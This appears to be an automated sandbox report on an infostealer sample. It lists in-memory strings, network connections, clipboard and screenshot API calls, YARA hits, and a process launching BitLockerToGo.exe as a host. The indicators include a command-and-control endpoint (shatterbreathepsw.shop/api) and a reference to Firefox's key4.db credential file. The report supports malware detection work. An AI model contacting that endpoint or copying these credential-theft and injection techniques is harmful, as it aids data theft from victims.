Source: BitLockerToGo.exe, 00000005.00000003.2421315426.000000000526D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: BitLockerToGo.exe, 00000005.00000003.2421315426.000000000526D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: BitLockerToGo.exe, 00000005.00000003.2421315426.000000000526D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: BitLockerToGo.exe, 00000005.00000003.2421315426.000000000526D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: BitLockerToGo.exe, 00000005.00000003.2389832770.0000000002F4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: BitLockerToGo.exe, 00000005.00000003.2462513783.0000000002F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: BitLockerToGo.exe, 00000005.00000003.2462513783.0000000002F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: BitLockerToGo.exe, 00000005.00000003.2389832770.0000000002F4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: BitLockerToGo.exe, 00000005.00000003.2389832770.0000000002F4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: BitLockerToGo.exe, 00000005.00000003.2389832770.0000000002F4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: BitLockerToGo.exe, 00000005.00000003.2462513783.0000000002F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: BitLockerToGo.exe, 00000005.00000003.2462513783.0000000002F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe	String found in binary or memory: https://database.usgovcloudapi.net/unsupported
Source: file.exe	String found in binary or memory: https://datalake.azure.net/https://api.loganalytics.iohttps://graph.microsoft.us/https://api.loganal
Source: BitLockerToGo.exe, 00000005.00000003.2389832770.0000000002F4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BitLockerToGo.exe, 00000005.00000003.2389832770.0000000002F4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BitLockerToGo.exe, 00000005.00000003.2389832770.0000000002F4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe	String found in binary or memory: https://gallery.azure.com/https://graph.windows.net/mariadb.database.azure.comhttps://storage.azure.
Source: BitLockerToGo.exe, 00000005.00000003.2462513783.0000000002F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: file.exe	String found in binary or memory: https://manage.chinacloudapi.com/publishsettings/indexhttps://manage.microsoftazure.de/publishsettin
Source: file.exe	String found in binary or memory: https://manage.windowsazure.com/publishsettings/indexnon-CONNECT
Source: file.exe	String found in binary or memory: https://manage.windowsazure.us/publishsettings/indexMaximum
Source: file.exe	String found in binary or memory: https://management.azure.com/https://managedhsm.azure.net/https://servicebus.azure.net/https://datab
Source: file.exe	String found in binary or memory: https://management.azure.comINVALID
Source: file.exe	String found in binary or memory: https://management.chinacloudapi.cntoo
Source: file.exe	String found in binary or memory: https://management.core.usgovcloudapi.net/https://dev.azuresynapse.usgovcloudapi.netbad
Source: file.exe	String found in binary or memory: https://protobuf.dev/reference/go/faq#namespace-conflictLZMA
Source: BitLockerToGo.exe, 00000005.00000003.2490547443.0000000002F0A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2419343297.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2418983675.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shatterbreathepsw.shop/
Source: BitLockerToGo.exe, 00000005.00000003.2470403875.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shatterbreathepsw.shop/&6
Source: BitLockerToGo.exe, 00000005.00000003.2462485236.0000000002F41000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2397981986.0000000002E7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shatterbreathepsw.shop/0
Source: BitLockerToGo.exe, 00000005.00000003.2470403875.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shatterbreathepsw.shop/?6a
Source: BitLockerToGo.exe, 00000005.00000003.2398142344.0000000002F11000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2397680492.0000000002F11000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2398470292.0000000002F11000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2397264679.0000000002F11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shatterbreathepsw.shop/D7
Source: BitLockerToGo.exe, 00000005.00000003.2462610333.0000000002EE8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2531513795.0000000002EAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shatterbreathepsw.shop/api
Source: BitLockerToGo.exe, 00000005.00000003.2462610333.0000000002EE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shatterbreathepsw.shop/apiT
Source: BitLockerToGo.exe, 00000005.00000003.2389056869.0000000002E93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shatterbreathepsw.shop/apiar
Source: BitLockerToGo.exe, 00000005.00000002.2531924515.0000000002E93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shatterbreathepsw.shop/apihort
Source: BitLockerToGo.exe, 00000005.00000003.2397981986.0000000002E93000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2398248173.0000000002EE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shatterbreathepsw.shop/apii
Source: BitLockerToGo.exe, 00000005.00000003.2470610228.0000000002EE8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2419422712.0000000002EE8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2462610333.0000000002EE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shatterbreathepsw.shop/apizen
Source: BitLockerToGo.exe, 00000005.00000003.2420113247.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2462513783.0000000002F0B000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2418852252.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2419343297.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2418983675.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shatterbreathepsw.shop/w6
Source: BitLockerToGo.exe, 00000005.00000003.2398142344.0000000002F11000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2397680492.0000000002F11000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2397264679.0000000002F11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shatterbreathepsw.shop/y7
Source: BitLockerToGo.exe, 00000005.00000003.2420113247.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2462513783.0000000002F0B000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2418852252.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2419343297.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2418983675.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shatterbreathepsw.shop/~6
Source: BitLockerToGo.exe, 00000005.00000003.2531309021.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2420113247.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2397981986.0000000002E93000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2462513783.0000000002F0B000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2463146392.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2389056869.0000000002E93000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2532039828.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2483801676.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2418852252.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2470403875.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2483094012.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2490547443.0000000002F0A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2419343297.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2418983675.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shatterbreathepsw.shop:443/api
Source: BitLockerToGo.exe, 00000005.00000003.2531309021.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2532039828.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2490547443.0000000002F0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shatterbreathepsw.shop:443/api-release/key4.dbPK
Source: BitLockerToGo.exe, 00000005.00000003.2490547443.0000000002F0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shatterbreathepsw.shop:443/apirosoft
Source: BitLockerToGo.exe, 00000005.00000003.2454550554.0000000005385000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BitLockerToGo.exe, 00000005.00000003.2454550554.0000000005385000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe	String found in binary or memory: https://vault.azure.net/mysql.database.azure.comhttps://cosmos.azure.comjson:
Source: file.exe	String found in binary or memory: https://vault.azure.netusgovtrafficmanager.netvault.usgovcloudapi.nethttps://vault.azure.cn/vault.mi
Source: BitLockerToGo.exe, 00000005.00000003.2462513783.0000000002F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: BitLockerToGo.exe, 00000005.00000003.2389832770.0000000002F4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: BitLockerToGo.exe, 00000005.00000003.2389832770.0000000002F4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: BitLockerToGo.exe, 00000005.00000003.2462415774.000000000526A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: BitLockerToGo.exe, 00000005.00000003.2462415774.000000000526A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: BitLockerToGo.exe, 00000005.00000003.2454550554.0000000005385000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: BitLockerToGo.exe, 00000005.00000003.2454550554.0000000005385000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: BitLockerToGo.exe, 00000005.00000003.2454550554.0000000005385000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: BitLockerToGo.exe, 00000005.00000003.2462513783.0000000002F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 104.21.95.19:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.19:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.19:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.19:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.19:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.19:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.19:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.19:443 -> 192.168.2.6:49726 version: TLS 1.2

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 5_2_02D1E8E0 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

5_2_02D1E8E0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 5_2_02D1E8E0 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

5_2_02D1E8E0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 5_2_02D1F713 GetDC,GetSystemMetrics,KiUserCallbackDispatcher,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

5_2_02D1F713

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2354687188.000000C000326000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_02D10352	5_2_02D10352
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_02CF1750	5_2_02CF1750
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_02D10AD0	5_2_02D10AD0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_02CF4BB0	5_2_02CF4BB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_02CF3390	5_2_02CF3390
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_02D153B0	5_2_02D153B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_02CF41C0	5_2_02CF41C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_02CF8160	5_2_02CF8160
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_02D1863B	5_2_02D1863B
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_02D27620	5_2_02D27620
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_02CF3780	5_2_02CF3780
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_02CF5760	5_2_02CF5760
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_02CF64E0	5_2_02CF64E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_02D1BBF2	5_2_02D1BBF2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_02D17B8C	5_2_02D17B8C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_02CF6B00	5_2_02CF6B00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_02D15F0E	5_2_02D15F0E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_02D2C9C0	5_2_02D2C9C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_02D249C0	5_2_02D249C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_02D11FA1	5_2_02D11FA1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_02D0CCF0	5_2_02D0CCF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_02CFFDE0	5_2_02CFFDE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_02D2CD00	5_2_02D2CD00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_02D18D3B	5_2_02D18D3B

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 02CF8B40 appears 64 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 02CF9430 appears 186 times

Source: file.exe

Static PE information: Number of sections : 12 > 10

Source: file.exe, 00000000.00000002.2357283198.00007FF67A133000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs file.exe
Source: file.exe, 00000000.00000002.2354687188.000000C0002EC000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs file.exe
Source: file.exe, 00000000.00000002.2354687188.000000C0001D7000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs file.exe
Source: file.exe, 00000000.00000002.2354687188.000000C000212000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs file.exe
Source: file.exe, 00000000.00000003.2342735024.000001E6FBA50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs file.exe
Source: file.exe	Binary or memory string: OriginalFileName vs file.exe

Source: 00000000.00000002.2354687188.000000C000326000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/0@1/1

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 5_2_02D1D4D1 CoCreateInstance,

5_2_02D1D4D1

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\Public\Libraries\lhlip.scif

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\system32\2bac949abffefe65784249a736b77326ada5ae81bd7dd8b644174f400402909eAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe	ReversingLabs: Detection: 34%
Source: file.exe	Virustotal: Detection: 37%

Source: file.exe	String found in binary or memory: overflow:hidden;img src="http://addEventListenerresponsible for s.js"></script>
Source: file.exe	String found in binary or memory: failed to construct HKDF label: %scrypto/rsa: missing public moduluscrypto/des: invalid buffer overlapinvalid nested repetition operatorinvalid or unsupported Perl syntaxcrypto/rc4: invalid buffer overlapGODEBUG sys/cpu: can not disable "chacha20: wrong HChaCha20 key sizebad tag in lazy extension decodingmismatching field: got %v, want %vlzma: wrong uncompressed data size" is unexported but missing PkgPathreflect.MakeSlice of non-slice typecrypto/md5: invalid hash state sizeencoding/hex: odd length hex string2006-01-02T15:04:05.999999999Z07:00SubscribeServiceChangeNotificationsCOFF symbols count is absurdly highnot a PE file, smaller than tiny PE` SizeOfRawData is larger than filenetwork dropped connection on resettransport endpoint is not connected1776356839400250464677810668945312588817841970012523233890533447265625ryuFtoaFixed32 called with prec > 9persistentalloc: align is too large/memory/classes/heap/released:bytesgreyobject: obj not pointer-alignedmismatched begin/end of activeSweepmheap.freeSpanLocked - invalid freeattempt to clear non-empty span setruntime: close polldesc w/o unblockruntime: inconsistent read deadlinefindrunnable: netpoll with spinningpidleput: P has non-empty run queuetraceback did not unwind completelyruntime: createevent failed; errno=file type does not support deadlinex509: malformed extension OID fieldx509: wrong Ed25519 public key sizex509: invalid authority info accesssuperfluous leading zeros in lengthexecutable file not found in %PATH%ber2der: BER tag length is negativepostgres.database.usgovcloudapi.nethttps://database.usgovcloudapi.net/unsupported signature algorithm: %vtls: too many non-advancing recordstls: server selected an invalid PSKhttps://management.chinacloudapi.cntoo many Questions to pack (>65535)transform: short destination buffer'_' must separate successive digitsbigmod: modulus is smaller than natmime: bogus characters after %%: %qhash/crc32: invalid hash state sizeflate: corrupt input before offset P224 point is the point at infinityP256 point is the point at infinityP384 point is the point at infinityP521 point is the point at infinitydelimiters may only be "{}" or "<>"file %q has a name conflict over %vchacha20: output smaller than inputstring field contains invalid UTF-8%v already implements proto.Messagelzma: unsupported chunk header byteop is neither a match nor a literalnewRangeDecoder: d.code >= d.nrange%d extra bits on block, should be 0zero matchoff and matchlen (%d) > 0truncated input (or invalid offset)crypto/cipher: input not full blocksmethod ABI and value ABI don't alignTime.UnmarshalBinary: invalid lengthstrings.Builder.Grow: negative countstrings: Join output length overflowThunk Address Of Data too spread outPower PC with floating point support6ba7b810-9dad-11d1-80b4-00c04fd430c86ba7b811-9dad-11d1-80b4-00c04fd430c86ba7b812-9dad-11d1-80b4-00c04fd430c86ba7b814-9dad-11d1-80b4-00c04fd430c8accessing a corrupted shared library444089209850062616169452667236328125ryuFtoaFixed64 called w
Source: file.exe	String found in binary or memory: failed to construct HKDF label: %scrypto/rsa: missing public moduluscrypto/des: invalid buffer overlapinvalid nested repetition operatorinvalid or unsupported Perl syntaxcrypto/rc4: invalid buffer overlapGODEBUG sys/cpu: can not disable "chacha20: wrong HChaCha20 key sizebad tag in lazy extension decodingmismatching field: got %v, want %vlzma: wrong uncompressed data size" is unexported but missing PkgPathreflect.MakeSlice of non-slice typecrypto/md5: invalid hash state sizeencoding/hex: odd length hex string2006-01-02T15:04:05.999999999Z07:00SubscribeServiceChangeNotificationsCOFF symbols count is absurdly highnot a PE file, smaller than tiny PE` SizeOfRawData is larger than filenetwork dropped connection on resettransport endpoint is not connected1776356839400250464677810668945312588817841970012523233890533447265625ryuFtoaFixed32 called with prec > 9persistentalloc: align is too large/memory/classes/heap/released:bytesgreyobject: obj not pointer-alignedmismatched begin/end of activeSweepmheap.freeSpanLocked - invalid freeattempt to clear non-empty span setruntime: close polldesc w/o unblockruntime: inconsistent read deadlinefindrunnable: netpoll with spinningpidleput: P has non-empty run queuetraceback did not unwind completelyruntime: createevent failed; errno=file type does not support deadlinex509: malformed extension OID fieldx509: wrong Ed25519 public key sizex509: invalid authority info accesssuperfluous leading zeros in lengthexecutable file not found in %PATH%ber2der: BER tag length is negativepostgres.database.usgovcloudapi.nethttps://database.usgovcloudapi.net/unsupported signature algorithm: %vtls: too many non-advancing recordstls: server selected an invalid PSKhttps://management.chinacloudapi.cntoo many Questions to pack (>65535)transform: short destination buffer'_' must separate successive digitsbigmod: modulus is smaller than natmime: bogus characters after %%: %qhash/crc32: invalid hash state sizeflate: corrupt input before offset P224 point is the point at infinityP256 point is the point at infinityP384 point is the point at infinityP521 point is the point at infinitydelimiters may only be "{}" or "<>"file %q has a name conflict over %vchacha20: output smaller than inputstring field contains invalid UTF-8%v already implements proto.Messagelzma: unsupported chunk header byteop is neither a match nor a literalnewRangeDecoder: d.code >= d.nrange%d extra bits on block, should be 0zero matchoff and matchlen (%d) > 0truncated input (or invalid offset)crypto/cipher: input not full blocksmethod ABI and value ABI don't alignTime.UnmarshalBinary: invalid lengthstrings.Builder.Grow: negative countstrings: Join output length overflowThunk Address Of Data too spread outPower PC with floating point support6ba7b810-9dad-11d1-80b4-00c04fd430c86ba7b811-9dad-11d1-80b4-00c04fd430c86ba7b812-9dad-11d1-80b4-00c04fd430c86ba7b814-9dad-11d1-80b4-00c04fd430c8accessing a corrupted shared library444089209850062616169452667236328125ryuFtoaFixed64 called w
Source: file.exe	String found in binary or memory: net/addrselect.go
Source: file.exe	String found in binary or memory: github.com/saferwall/pe@v1.4.8/loadconfig.go

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: umpdc.dll	Jump to behavior
